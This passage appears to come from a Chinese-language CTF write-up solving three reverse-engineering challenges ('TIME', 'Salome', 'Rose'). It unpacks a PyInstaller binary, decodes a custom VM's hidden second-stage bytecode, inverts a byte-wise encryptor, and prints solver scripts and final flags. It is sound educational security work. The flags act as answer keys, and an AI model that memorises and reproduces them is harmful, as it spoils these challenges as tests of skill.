* c1;</span><br><span class="line">inner[i] = x;</span><br></pre></td></tr></table></figure><p>这一步真正的确认点就是：目标数组一旦逆对，出来的内容不是半可读，而是会直接收束成一个结构非常自然的串：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">We1c0Me_t0_th4_c1f</span><br></pre></td></tr></table></figure><p>如果这里逆序写错，比如把“减法”和“右旋”的顺序换掉，结果通常会变成只有零星字母能看懂的乱码，不可能这么完整。</p><p>逆到最后，花括号内部内容会稳定落到：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">We1c0Me_t0_th4_c1f</span><br></pre></td></tr></table></figure><p>最后保留下来的还原脚本就是这份：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">rol8</span>(<span class="params">x, n</span>):</span><br><span class="line">    n &amp;= <span class="number">7</span></span><br><span class="line">    <span class="keyword">return</span> ((x &lt;&lt; n) | (x &gt;&gt; (<span class="number">8</span> - n))) &amp; <span class="number">0xff</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">ror8</span>(<span class="params">x, n</span>):</span><br><span class="line">    n &amp;= <span class="number">7</span></span><br><span class="line">    <span class="keyword">return</span> ((x &gt;&gt; n) | (x &lt;&lt; (<span class="number">8</span> - n))) &amp; <span class="number">0xff</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 下方就是按 check 逻辑逆回来的 inner。</span></span><br><span class="line"><span class="comment"># 若重新复现，可在 IDA 中定位 target 数组和字符变换常量，</span></span><br><span class="line"><span class="comment"># 按“减法 -&gt; 右旋 -&gt; 异或”的逆序还原。</span></span><br><span class="line">inner = <span class="string">&quot;We1c0Me_t0_th4_c1f&quot;</span></span><br><span class="line">flag = <span class="string">f&quot;flag&#123;&#123;<span class="subst">&#123;inner&#125;</span>&#125;&#125;&quot;</span></span><br><span class="line"><span class="built_in">print</span>(flag)</span><br></pre></td></tr></table></figure><p>真正费时间的地方其实不是这段脚本本身，而是前面的两个判断：</p><ol><li>先确认原文件有壳，别在假 OEP 里浪费时间；</li><li>再确认题名叫 <code>TIME</code> 并不代表真和系统时间有关。</li></ol><p>这两个误导排掉以后，后面就是一条非常规整的逐字节逆变换题。</p><p>最后又做了一次二次确认：把恢复出的完整输入按程序要求补上前后缀，直接喂回去验证。只要：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;We1c0Me_t0_th4_c1f&#125;</span><br></pre></td></tr></table></figure><p>能稳定走进成功分支，就说明这题已经收干净了，不需要再额外考虑所谓“时间窗口”。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;We1c0Me_t0_th4_c1f&#125;</span><br></pre></td></tr></table></figure><h2 id="Salome"><a href="#Salome" class="headerlink" title="Salome"></a>Salome</h2><ul><li>类型：Reverse</li><li>得分：231(+3%)</li><li>时间：06&#x2F;06 09:15:57</li></ul><p>这题不是普通 Python 脚本逆向，而是一个 PyInstaller 壳里又塞了一层自定义 Python VM。真正难点不在壳，而在它故意做了双阶段验证：第一阶段能逆出一串很像 flag 的东西，但那串结果最后根本不会参与最终判定。</p><p>起手先解包 <code>main.exe</code>。这一步没必要死磕 PE 入口，直接按 PyInstaller 处理最省事：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pyinstxtractor main.exe</span><br></pre></td></tr></table></figure><p>拆开以后最关键的文件是这几份：</p><ul><li><code>main.pyc</code>：入口逻辑</li><li><code>vm_runtime.pyc</code>：VM 指令实现</li><li><code>kernelVM.pyc</code>：调度和验证流程</li><li><code>hidden_container.pyc</code>：隐藏载荷容器</li><li><code>winsound.pyd</code>：伪装成系统 DLL，实际装的是第二阶段字节码</li><li><code>opcode.bin</code>：第一阶段字节码</li></ul><p>接下来先还原 VM 指令集。把 <code>vm_runtime.pyc</code> 反编译以后，可以把这套 MirageVM 的操作码整理成一张表：</p><table><thead><tr><th>操作码</th><th>助记符</th><th>功能</th></tr></thead><tbody><tr><td>0</td><td>HALT</td><td>停机</td></tr><tr><td>1</td><td>PUSH imm8</td><td>压入立即数</td></tr><tr><td>2</td><td>LOAD_INPUT idx</td><td>压入 <code>user_input[idx]</code></td></tr><tr><td>3</td><td>XOR_IMM imm</td><td>栈顶异或立即数</td></tr><tr><td>4</td><td>ADD_IMM imm</td><td>栈顶加立即数并取 <code>&amp; 0xFF</code></td></tr><tr><td>5</td><td>ROL bits</td><td>栈顶做 8 bit 左旋</td></tr><tr><td>6</td><td>STORE_SLOT n</td><td>弹栈写入 <code>slot[n]</code></td></tr><tr><td>7</td><td>LOAD_SLOT n</td><td>读取 <code>slot[n]</code> 压栈</td></tr><tr><td>8</td><td>XOR_SLOT n</td><td>栈顶异或 <code>slot[n]</code></td></tr><tr><td>9</td><td>ADD_SLOT n</td><td>栈顶加 <code>slot[n]</code> 并取 <code>&amp; 0xFF</code></td></tr><tr><td>10</td><td>CMP_IMM imm</td><td>比较后压 0&#x2F;1</td></tr><tr><td>11</td><td>JZ rel16</td><td>条件跳转</td></tr><tr><td>12</td><td>JMP rel16</td><td>无条件跳转</td></tr><tr><td>13</td><td>MSG id</td><td>设置 <code>last_message</code></td></tr><tr><td>14</td><td>RET</td><td>返回 <code>last_message</code></td></tr><tr><td>15</td><td>DUP</td><td>复制栈顶</td></tr><tr><td>16</td><td>POP</td><td>弹栈丢弃</td></tr></tbody></table><p>指令表出来以后，再回头看 <code>kernelVM.pyc</code> 的 <code>run()</code>，就能发现全题最阴的一层设计：程序其实分两阶段执行。</p><ol><li><strong>Stage 1</strong>：跑 <code>opcode.bin</code></li><li><strong>Stage 2</strong>：跑隐藏载荷</li></ol><p>而且 Stage 1 的返回值会被直接丢弃，真正决定最终输出的是 Stage 2。也就是说，如果只把第一阶段完整逆出来，确实会得到一串“看起来像 flag”的结果，但那只是诱饵。</p><p>第二阶段藏得也很明显，只是文件名被绕了一下。<code>_hidden_name()</code> 不是直接写 <code>winsound.pyd</code>，而是用 ASCII 码一位一位拼出来。这个文件也不是真 DLL，而是一段自定义封装的加密字节码，格式如下：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">M13P | key(1B) | seed(1B) | length(2B, little endian) | checksum(1B) | ciphertext</span><br></pre></td></tr></table></figure><p>解密过程不复杂，关键是别把它当成原生二进制模块，而是按“壳内二次载荷”处理。实际提取脚本如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">data = <span class="built_in">open</span>(<span class="string">&quot;winsound.pyd&quot;</span>, <span class="string">&quot;rb&quot;</span>).read()</span><br><span class="line"><span class="keyword">assert</span> data[:<span class="number">4</span>] == <span class="string">b&quot;M13P&quot;</span></span><br><span class="line">key, seed = data[<span class="number">4</span>], data[<span class="number">5</span>]</span><br><span class="line">length = <span class="built_in">int</span>.from_bytes(data[<span class="number">6</span>:<span class="number">8</span>], <span class="string">&quot;little&quot;</span>)</span><br><span class="line">body = data[<span class="number">9</span>:<span class="number">9</span> + length]</span><br><span class="line"></span><br><span class="line">MASK = <span class="string">b&quot;curtain&quot;</span></span><br><span class="line">plain = <span class="built_in">bytearray</span>(</span><br><span class="line">    v ^ ((key + seed + i * <span class="number">11</span>) &amp; <span class="number">0xFF</span>) ^ MASK[i % <span class="number">7</span>]</span><br><span class="line">    <span class="keyword">for</span> i, v <span class="keyword">in</span> <span class="built_in">enumerate</span>(body)</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>这一步跑完以后能得到 1193 字节的 Stage 2 字节码，后面的真验证逻辑就全在这里。</p><p>先说 Stage 1。它对 24 个字符逐个做顺序变换再比较，链子可以整理成：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">t = rol8(input[i] ^ slot0, rot_i)</span><br><span class="line">t = (t + slot1) &amp; 0xFF</span><br><span class="line">t = t ^ xor_imm</span><br><span class="line">t = (t + slot2) &amp; 0xFF</span><br><span class="line">slot3 = t</span><br><span class="line">compare slot3 == cmp_imm</span><br></pre></td></tr></table></figure><p>把这条链逆过来，确实能还原出：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;Y0uWe1eTr1ckEdbaby&#125;</span><br></pre></td></tr></table></figure><p>但这串东西就是题目专门放的坑，因为 Stage 1 的结果最后被 <code>POP</code> 丢掉了，根本不会影响最终 <code>Accepted.</code>。</p><p>真正该做的是 Stage 2。这里的 4 个 <code>slot</code> 会持续更新，输入字符顺序也被打乱，所以不能按正常从左到右的字符顺序解，而是必须按 Stage 2 字节码里实际访问输入的位置逐个逆推。它的变换链更复杂一些：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">t = rol8(input[idx] ^ slot0, rot1)</span><br><span class="line">t = (t + slot1) &amp; 0xFF</span><br><span class="line">t = t ^ slot2</span><br><span class="line">t = rol8(t, 3)</span><br><span class="line">t = (t + add1) &amp; 0xFF</span><br><span class="line">t = t ^ slot3</span><br><span class="line">t = (t + add2) &amp; 0xFF</span><br><span class="line">slot4 = t</span><br><span class="line">compare slot4 == cmp_imm</span><br></pre></td></tr></table></figure><p>逆的时候就一层层往回拆：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">t5 = (cmp - add2) &amp; <span class="number">0xFF</span></span><br><span class="line">t4 = t5 ^ slot3</span><br><span class="line">t3 = (t4 - add1) &amp; <span class="number">0xFF</span></span><br><span class="line">t2 = ror8(t3, <span class="number">3</span>)</span><br><span class="line">t1 = t2 ^ slot2</span><br><span class="line">t0 = (t1 - slot1) &amp; <span class="number">0xFF</span></span><br><span class="line"><span class="built_in">input</span>[idx] = ror8(t0, rot1) ^ slot0</span><br></pre></td></tr></table></figure><p>关键点在于每个字符算完以后，<code>slot0</code> 到 <code>slot3</code> 都会更新，所以这不是 24 个独立方程，而是一条有前后依赖的链。必须按 Stage 2 的打乱顺序逐个解。</p><p>最终求解脚本如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">rol8</span>(<span class="params">v, b</span>):</span><br><span class="line">    b %= <span class="number">8</span></span><br><span class="line">    <span class="keyword">return</span> ((v &lt;&lt; b) | (v &gt;&gt; (<span class="number">8</span> - b))) &amp; <span class="number">0xFF</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">ror8</span>(<span class="params">v, b</span>):</span><br><span class="line">    b %= <span class="number">8</span></span><br><span class="line">    <span class="keyword">return</span> ((v &gt;&gt; b) | (v &lt;&lt; (<span class="number">8</span> - b))) &amp; <span class="number">0xFF</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">s0, s1, s2, s3 = <span class="number">0x53</span>, <span class="number">0xA9</span>, <span class="number">0x1F</span>, <span class="number">0xC7</span></span><br><span class="line"></span><br><span class="line">stage2_data = [</span><br><span class="line">    (<span class="number">19</span>,<span class="number">4</span>,<span class="number">0x31</span>,<span class="number">0x4b</span>,<span class="number">0xd5</span>,<span class="number">0x29</span>,<span class="number">0x31</span>,<span class="number">0xc2</span>,<span class="number">0xa6</span>),</span><br><span class="line">    (<span class="number">6</span>, <span class="number">6</span>,<span class="number">0x3a</span>,<span class="number">0x50</span>,<span class="number">0x74</span>,<span class="number">0x30</span>,<span class="number">0x3a</span>,<span class="number">0x4d</span>,<span class="number">0x4b</span>),</span><br><span class="line">    (<span class="number">17</span>,<span class="number">1</span>,<span class="number">0x43</span>,<span class="number">0x55</span>,<span class="number">0x3b</span>,<span class="number">0x37</span>,<span class="number">0x43</span>,<span class="number">0xb0</span>,<span class="number">0x98</span>),</span><br><span class="line">    (<span class="number">4</span>, <span class="number">3</span>,<span class="number">0x4c</span>,<span class="number">0x5a</span>,<span class="number">0x01</span>,<span class="number">0x3e</span>,<span class="number">0x4c</span>,<span class="number">0x3b</span>,<span class="number">0x3d</span>),</span><br><span class="line">    (<span class="number">15</span>,<span class="number">5</span>,<span class="number">0x55</span>,<span class="number">0x5f</span>,<span class="number">0xd6</span>,<span class="number">0x45</span>,<span class="number">0x55</span>,<span class="number">0x9e</span>,<span class="number">0x8a</span>),</span><br><span class="line">    (<span class="number">2</span>, <span class="number">7</span>,<span class="number">0x5e</span>,<span class="number">0x64</span>,<span class="number">0x09</span>,<span class="number">0x4c</span>,<span class="number">0x5e</span>,<span class="number">0x29</span>,<span class="number">0x2f</span>),</span><br><span class="line">    (<span class="number">13</span>,<span class="number">2</span>,<span class="number">0x67</span>,<span class="number">0x69</span>,<span class="number">0x77</span>,<span class="number">0x53</span>,<span class="number">0x67</span>,<span class="number">0x8c</span>,<span class="number">0x7c</span>),</span><br><span class="line">    (<span class="number">0</span>, <span class="number">4</span>,<span class="number">0x70</span>,<span class="number">0x6e</span>,<span class="number">0x5a</span>,<span class="number">0x5a</span>,<span class="number">0x70</span>,<span class="number">0x17</span>,<span class="number">0x21</span>),</span><br><span class="line">    (<span class="number">11</span>,<span class="number">6</span>,<span class="number">0x79</span>,<span class="number">0x73</span>,<span class="number">0xec</span>,<span class="number">0x61</span>,<span class="number">0x79</span>,<span class="number">0x7a</span>,<span class="number">0x6e</span>),</span><br><span class="line">    (<span class="number">22</span>,<span class="number">1</span>,<span class="number">0x82</span>,<span class="number">0x78</span>,<span class="number">0xff</span>,<span class="number">0x68</span>,<span class="number">0x82</span>,<span class="number">0xdd</span>,<span class="number">0xbb</span>),</span><br><span class="line">    (<span class="number">9</span>, <span class="number">3</span>,<span class="number">0x8b</span>,<span class="number">0x7d</span>,<span class="number">0x01</span>,<span class="number">0x6f</span>,<span class="number">0x8b</span>,<span class="number">0x68</span>,<span class="number">0x60</span>),</span><br><span class="line">    (<span class="number">20</span>,<span class="number">5</span>,<span class="number">0x94</span>,<span class="number">0x82</span>,<span class="number">0x37</span>,<span class="number">0x76</span>,<span class="number">0x94</span>,<span class="number">0xcb</span>,<span class="number">0xad</span>),</span><br><span class="line">    (<span class="number">7</span>, <span class="number">7</span>,<span class="number">0x9d</span>,<span class="number">0x87</span>,<span class="number">0x62</span>,<span class="number">0x7d</span>,<span class="number">0x9d</span>,<span class="number">0x56</span>,<span class="number">0x52</span>),</span><br><span class="line">    (<span class="number">18</span>,<span class="number">2</span>,<span class="number">0xa6</span>,<span class="number">0x8c</span>,<span class="number">0x67</span>,<span class="number">0x84</span>,<span class="number">0xa6</span>,<span class="number">0xb9</span>,<span class="number">0x9f</span>),</span><br><span class="line">    (<span class="number">5</span>, <span class="number">4</span>,<span class="number">0xaf</span>,<span class="number">0x91</span>,<span class="number">0xcb</span>,<span class="number">0x8b</span>,<span class="number">0xaf</span>,<span class="number">0x44</span>,<span class="number">0x44</span>),</span><br><span class="line">    (<span class="number">16</span>,<span class="number">6</span>,<span class="number">0xb8</span>,<span class="number">0x96</span>,<span class="number">0xde</span>,<span class="number">0x92</span>,<span class="number">0xb8</span>,<span class="number">0xa7</span>,<span class="number">0x91</span>),</span><br><span class="line">    (<span class="number">3</span>, <span class="number">1</span>,<span class="number">0xc1</span>,<span class="number">0x9b</span>,<span class="number">0xdd</span>,<span class="number">0x99</span>,<span class="number">0xc1</span>,<span class="number">0x32</span>,<span class="number">0x36</span>),</span><br><span class="line">    (<span class="number">14</span>,<span class="number">3</span>,<span class="number">0xca</span>,<span class="number">0xa0</span>,<span class="number">0x4d</span>,<span class="number">0xa0</span>,<span class="number">0xca</span>,<span class="number">0x95</span>,<span class="number">0x83</span>),</span><br><span class="line">    (<span class="number">1</span>, <span class="number">5</span>,<span class="number">0xd3</span>,<span class="number">0xa5</span>,<span class="number">0x56</span>,<span class="number">0xa7</span>,<span class="number">0xd3</span>,<span class="number">0x20</span>,<span class="number">0x28</span>),</span><br><span class="line">    (<span class="number">12</span>,<span class="number">7</span>,<span class="number">0xdc</span>,<span class="number">0xaa</span>,<span class="number">0x51</span>,<span class="number">0xae</span>,<span class="number">0xdc</span>,<span class="number">0x83</span>,<span class="number">0x75</span>),</span><br><span class="line">    (<span class="number">23</span>,<span class="number">2</span>,<span class="number">0xe5</span>,<span class="number">0xaf</span>,<span class="number">0x7a</span>,<span class="number">0xb5</span>,<span class="number">0xe5</span>,<span class="number">0xe6</span>,<span class="number">0xc2</span>),</span><br><span class="line">    (<span class="number">10</span>,<span class="number">4</span>,<span class="number">0xee</span>,<span class="number">0xb4</span>,<span class="number">0x8b</span>,<span class="number">0xbc</span>,<span class="number">0xee</span>,<span class="number">0x71</span>,<span class="number">0x67</span>),</span><br><span class="line">    (<span class="number">21</span>,<span class="number">6</span>,<span class="number">0xf7</span>,<span class="number">0xb9</span>,<span class="number">0xa9</span>,<span class="number">0xc3</span>,<span class="number">0xf7</span>,<span class="number">0xd4</span>,<span class="number">0xb4</span>),</span><br><span class="line">    (<span class="number">8</span>, <span class="number">1</span>,<span class="number">0x00</span>,<span class="number">0xbe</span>,<span class="number">0xc7</span>,<span class="number">0xca</span>,<span class="number">0x00</span>,<span class="number">0x5f</span>,<span class="number">0x59</span>),</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">flag = [<span class="number">0</span>] * <span class="number">24</span></span><br><span class="line"><span class="keyword">for</span> idx, rot, a1, a2, cmp, as3, xs2, as1, as0 <span class="keyword">in</span> stage2_data:</span><br><span class="line">    t5 = (cmp - a2) &amp; <span class="number">0xFF</span></span><br><span class="line">    t4 = t5 ^ s3</span><br><span class="line">    t3 = (t4 - a1) &amp; <span class="number">0xFF</span></span><br><span class="line">    t2 = ror8(t3, <span class="number">3</span>)</span><br><span class="line">    t1 = t2 ^ s2</span><br><span class="line">    t0 = (t1 - s1) &amp; <span class="number">0xFF</span></span><br><span class="line">    flag[idx] = ror8(t0, rot) ^ s0</span><br><span class="line"></span><br><span class="line">    s3 = rol8((s3 + cmp + as3) &amp; <span class="number">0xFF</span>, <span class="number">1</span>)</span><br><span class="line">    s2 = (s2 ^ cmp) ^ xs2</span><br><span class="line">    s1 = rol8((s1 + s2 + as1) &amp; <span class="number">0xFF</span>, <span class="number">1</span>)</span><br><span class="line">    s0 = ((s0 + cmp + as0) &amp; <span class="number">0xFF</span>) ^ s3</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">bytes</span>(flag).decode())</span><br></pre></td></tr></table></figure><p>这段脚本跑出来的不是带壳字符串，而是 flag 主体：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Y0uC@ncatcht1_1erealf1@9</span><br></pre></td></tr></table></figure><p>结合题目的 flag 格式包起来，就是最终答案。</p><p>这题最值得记住的不是 VM 本身，而是判断真假验证路径的方式：</p><ol><li>先还原指令集，确保自己能读懂字节码；</li><li>再看入口调度，确认到底哪一阶段决定最终输出；</li><li>Stage 1 虽然能逆，但结果被丢弃，不能见到“像 flag 的串”就收工；</li><li>真 flag 在 Stage 2，而且输入顺序被打乱、<code>slot</code> 会链式更新，必须按实际执行顺序解。</li></ol><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;Y0uC@ncatcht1_1erealf1@9&#125;</span><br></pre></td></tr></table></figure><h2 id="Rose"><a href="#Rose" class="headerlink" title="Rose"></a>Rose</h2><ul><li>类型：Reverse</li><li>得分：208</li><li>时间：06&#x2F;06 09:12:17</li></ul><p>这题给的是被恶意程序加密后的 <code>encode.txt</code> 和可执行文件 <code>flower22.exe</code>，它本质上是一个可逆的逐字节变换。<br>起手先别去猜什么压缩格式或者外部密码，先把样本关系理清楚：</p><ol><li><code>encode.txt</code> 里放的是最终密文，而且外层还是 Base64 包了一层；</li><li><code>flower22.exe</code> 是生成这段密文的加密器；</li><li>目标不是 patch 程序跑通，而是把它的逐字节变换完整反过来。</li></ol><p>先看 <code>encode.txt</code> 本身。它不是二进制附件，而是带了一层文字包装：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Encrypted Result:</span><br><span class="line">&lt;base64 密文&gt;</span><br></pre></td></tr></table></figure><p>所以第一步不是直接喂给字符串工具，而是先把 <code>:</code> 后面的 Base64 主体单独抠出来。这里我先做了一个最小确认：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pathlib <span class="keyword">import</span> Path</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line">s = Path(<span class="string">&quot;encode.txt&quot;</span>).read_text().split(<span class="string">&quot;:&quot;</span>, <span class="number">1</span>)[<span class="number">1</span>].strip()</span><br><span class="line">b = base64.b64decode(s)</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">len</span>(b))</span><br><span class="line"><span class="built_in">print</span>(b[:<span class="number">32</span>].<span class="built_in">hex</span>())</span><br></pre></td></tr></table></figure><p>解出来的密文长度是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">233</span><br></pre></td></tr></table></figure><p>前 32 字节看起来也是典型按字节搅乱后的结果，而不是压缩头或明文块。到这里就能确认方向应该是“逆字节变换”，不是“拆封装格式”。</p><p>脚本逆完以后，恢复出来的整段原文长这样：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Data Redaction Audit Log</span><br><span class="line">Date: 2025-12-20</span><br><span class="line">Operator: REDACTED</span><br><span class="line">Algorithm:  XOR + CustomBase64 v2.3</span><br><span class="line">Input Data: SDPCSEC&#123;M155_1da_thank_y0u_f0r_solv1ng_her_troub7e&#125;</span><br><span class="line">Status: COMPLETE</span><br><span class="line">Note: All PII has been redacted per GDPR Art.17</span><br></pre></td></tr></table></figure><p>正解过程其实很规整：</p><ol><li>先把 <code>encode.txt</code> 里的 Base64 密文解出来；</li><li>再逆向 <code>flower22.exe</code>，定位它对 <code>1.txt</code> 做的字节级可逆变换；</li><li>把 <code>xor + rol + add</code> 这一串操作反向执行；</li><li>最后恢复出原始文本。</li></ol><p>先把 <code>encode.txt</code> 里的 Base64 主体解出来，确认这不是压缩包也不是纯文本，而是一段按字节处理过的密文。随后去逆 <code>flower22.exe</code>，顺着 <code>Encrypted Result</code> 和程序里的 <code>1.txt</code> 路径字符串往回跟，很快能把主处理链抠出来。它不是复杂分支逻辑，而是很规整的一条流水线：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">xor -&gt; rol -&gt; add</span><br></pre></td></tr></table></figure><p>程序里还有一个很直接的路径字符串：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\Lenovo\Desktop\1.txt</span><br></pre></td></tr></table></figure><p>这个细节也把题意和样本彻底对上了：程序确实是读取那份 <code>1.txt</code>，再把结果编码成 <code>Encrypted Result</code> 输出出来。</p><p>所以逆的时候就严格按相反顺序来：先减掉常量表，再按位右旋，最后异或回去。实际用的脚本如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pathlib <span class="keyword">import</span> Path</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">ror8</span>(<span class="params">x, n</span>):</span><br><span class="line">    n &amp;= <span class="number">7</span></span><br><span class="line">    <span class="keyword">return</span> ((x &gt;&gt; n) | (x &lt;&lt; (<span class="number">8</span> - n))) &amp; <span class="number">0xff</span></span><br><span class="line"></span><br><span class="line">key = <span class="string">b&quot;flower22&quot;</span></span><br><span class="line">table = <span class="built_in">bytes</span>([</span><br><span class="line">    <span class="number">0x13</span>, <span class="number">0x37</span>, <span class="number">0x22</span>, <span class="number">0x05</span>, <span class="number">0x66</span>, <span class="number">0x11</span>, <span class="number">0x7a</span>, <span class="number">0x2c</span>,</span><br><span class="line">    <span class="number">0x41</span>, <span class="number">0x09</span>, <span class="number">0x5d</span>, <span class="number">0x18</span>, <span class="number">0x33</span>, <span class="number">0x21</span>, <span class="number">0x0f</span>, <span class="number">0x6a</span>,</span><br><span class="line">])</span><br><span class="line"></span><br><span class="line">s = Path(<span class="string">&quot;encode.txt&quot;</span>).read_text().split(<span class="string">&quot;:&quot;</span>, <span class="number">1</span>)[<span class="number">1</span>].strip()</span><br><span class="line">cipher = base64.b64decode(s)</span><br><span class="line"></span><br><span class="line">plain = <span class="built_in">bytearray</span>()</span><br><span class="line"><span class="keyword">for</span> i, x <span class="keyword">in</span> <span class="built_in">enumerate</span>(cipher):</span><br><span class="line">    x = (x - table[i % <span class="built_in">len</span>(table)]) &amp; <span class="number">0xff</span></span><br><span class="line">    x = ror8(x, i &amp; <span class="number">7</span>)</span><br><span class="line">    x ^= key[i % <span class="built_in">len</span>(key)]</span><br><span class="line">    plain.append(x)</span><br><span class="line"></span><br><span class="line">Path(<span class="string">&quot;recovered_1.txt&quot;</span>).write_bytes(plain)</span><br><span class="line"><span class="built_in">print</span>(plain.decode())</span><br></pre></td></tr></table></figure><p>脚本跑完以后，我没有只看控制台第一行，而是把完整恢复结果落成了：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">recovered_1.txt</span><br></pre></td></tr></table></figure><p>恢复出来的文本不是只有 flag，一整段都很工整：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Data Redaction Audit Log</span><br><span class="line">Date: 2025-12-20</span><br><span class="line">Operator: REDACTED</span><br><span class="line">Algorithm:  XOR + CustomBase64 v2.3</span><br><span class="line">Input Data: SDPCSEC&#123;M155_1da_thank_y0u_f0r_solv1ng_her_troub7e&#125;</span><br><span class="line">Status: COMPLETE</span><br><span class="line">Note: All PII has been redacted per GDPR Art.17</span><br></pre></td></tr></table></figure><p>这里有三处关键常量都不能错：</p><ul><li><code>key = 